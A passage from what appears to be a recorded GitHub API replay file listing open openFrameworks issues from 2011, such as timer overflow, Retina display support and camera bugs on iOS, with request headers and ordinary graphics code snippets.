ofGetAsbolutePosition(x,y)?","number":449,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":568540,"closed_at":null,"created_at":"2011-02-02T00:03:09Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"no way to get imageType of ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/446","comments":0,"assignee":null,"updated_at":"2011-01-31T19:26:41Z","body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible.","number":446,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":565122,"closed_at":null,"created_at":"2011-01-31T19:26:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofGetElapsedTimeMillis returns an int instead of unsigned long","html_url":"https://github.com/openframeworks/openFrameworks/issues/428","comments":0,"assignee":null,"updated_at":"2011-01-28T06:28:01Z","body":"the start time is stored internally as an unsigned long, but ofGetElapsedTimeMillis returns it as an int. ofGetElapsedTimef also does calculations using time as an int. this means time wraps around every (2^31 - 1) milliseconds in days = 24.8 days.\r\n\r\nas an unsigned long it would be (2^64 - 1) milliseconds in years = 584 million years :)","number":428,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/428","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"}],"id":558215,"closed_at":null,"created_at":"2011-01-28T06:28:01Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Check ofShader Texture Wrap Parameters","html_url":"https://github.com/openframeworks/openFrameworks/issues/424","comments":1,"assignee":null,"updated_at":"2011-12-02T21:05:54Z","body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}","number":424,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":556923,"closed_at":null,"created_at":"2011-01-27T19:43:31Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"problem with reloading movies in osx","html_url":"https://github.com/openframeworks/openFrameworks/issues/423","comments":0,"assignee":null,"updated_at":"2011-01-24T22:34:29Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222","number":423,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/423","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548302,"closed_at":null,"created_at":"2011-01-24T22:34:29Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","url":"https://api.github.com/users/snibbe","login":"snibbe","id":581517,"avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Retina display support **that doesn't crash devices!** with backward compatibility to OS 3.0","html_url":"https://github.com/openframeworks/openFrameworks/issues/421","comments":2,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2011-12-05T22:03:15Z","body":"Hi guys,\r\n\r\nI posted to the OF forum a solution back in August to support retina display with backward compatibility to pre-OS 4.0 devices:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4185&start=15\r\n\r\nIf it's still outstanding, here's the solution!\r\n\r\nEAGLView.mm, initWithFrame, after the eaglLayer.drawableProperties assignment, add:\r\n\r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n if ([[UIScreen mainScreen] scale] > 1) {\r\n // code below doesn't work on iPad 3.2 OS and below, but doesn't need to because scale is 1\r\n [self setContentScaleFactor:[[UIScreen mainScreen] scale]];\r\n }\r\n }\r\n\r\nofAppiPhoneWindow.mm, timerLoop, after [ofxiPhoneGetGLView() startRender]; add:\r\n\r\n int ofwidth = ofGetWidth();\r\n int ofheight = ofGetHeight();\r\n \r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n ofwidth *= [[UIScreen mainScreen] scale];\r\n ofheight *= [[UIScreen mainScreen] scale];\r\n }\r\n\r\nthen change the glViewport calls:\r\n\r\n\t// this could be taken out and included in ofAppBaseWIndow\r\n\tif(orientation == OFXIPHONE_ORIENTATION_PORTRAIT || orientation == OFXIPHONE_ORIENTATION_UPSIDEDOWN)\r\n\t\tglViewport( 0, 0, ofwidth, ofheight );\r\n\telse\r\n\t\tglViewport( 0, 0, ofheight, ofwidth );","number":421,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/421","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548070,"closed_at":null,"created_at":"2011-01-24T20:52:18Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"something to wrap glMultMatrixf","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","comments":0,"assignee":null,"updated_at":"2011-01-22T15:57:37Z","body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();","number":418,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543729,"closed_at":null,"created_at":"2011-01-22T15:57:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"3D isn't scale invariant in certain parts","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","comments":0,"assignee":null,"updated_at":"2011-01-22T15:24:07Z","body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors","number":417,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543694,"closed_at":null,"created_at":"2011-01-22T15:24:07Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Simulator not working with any examples ","html_url":"https://github.com/openframeworks/openFrameworks/issues/414","comments":3,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T05:00:35Z","body":"Getting this error after the app launches in simulator mode \r\n\r\nDetected an attempt to call a symbol in system libraries that is not present on the iPhone:\r\n\r\n","number":414,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/414","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":539979,"closed_at":null,"created_at":"2011-01-20T20:17:35Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera::setPan is broken","html_url":"https://github.com/openframeworks/openFrameworks/issues/413","comments":1,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"","number":413,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/413","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539915,"closed_at":null,"created_at":"2011-01-20T20:01:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add setMultisampling method to glutWindow","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","comments":0,"assignee":null,"updated_at":"2011-01-20T19:33:30Z","body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx","number":412,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":539845,"closed_at":null,"created_at":"2011-01-20T19:33:30Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","html_url":"https://github.com/openframeworks/openFrameworks/issues/410","comments":2,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. ","number":410,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539744,"closed_at":null,"created_at":"2011-01-20T18:59:10Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofEnableLighting","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","comments":0,"assignee":null,"updated_at":"2011-01-19T19:39:37Z","body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS","number":406,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":537416,"closed_at":null,"created_at":"2011-01-19T19:39:36Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't match rest of openFrameworks coordinates","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","comments":0,"assignee":null,"updated_at":"2011-01-19T13:24:54Z","body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n","number":405,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":536614,"closed_at":null,"created_at":"2011-01-19T13:24:53Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=12 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4932'), ('content-length', '38352'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"679d499a026b6f6d6a1e20857a7392dc"'), ('date', 'Tue, 29 May 2012 19:27:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-17T23:39:31Z","body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","comments":0,"milestone":null,"number":403,"html_url":"https://github.com/openframeworks/openFrameworks/issues/403","assignee":null,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-17T23:39:31Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":532954,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-17T16:37:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","comments":0,"milestone":null,"number":400,"html_url":"https://github.com/openframeworks/openFrameworks/issues/400","assignee":null,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-17T16:37:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":532096,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:33:14Z","body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","comments":1,"milestone":null,"number":391,"html_url":"https://github.com/openframeworks/openFrameworks/issues/391","assignee":null,"title":"ofGetPreviousMouseX/Y() does not update per frame","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:21:15Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:32:59Z","body":"this is a limitation to glut, but it might be hackable on each system separately.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","comments":1,"milestone":null,"number":389,"html_url":"https://github.com/openframeworks/openFrameworks/issues/389","assignee":null,"title":"mouse position doesn't update until mouse is moved","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:11:53Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T21:10:48Z","body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","comments":1,"milestone":null,"number":387,"html_url":"https://github.com/openframeworks/openFrameworks/issues/387","assignee":null,"title":"Linker error when loading image (Poco::Net related?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T05:57:51Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":529646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T17:01:08Z","body":"would be nice if it was a float (0-1) and not an int(0-100) for standardization with every other audio thing in the universe aside from quicktime","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/375","comments":2,"milestone":null,"number":375,"html_url":"https://github.com/openframeworks/openFrameworks/issues/375","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofVideoPlayer setVolume uses an 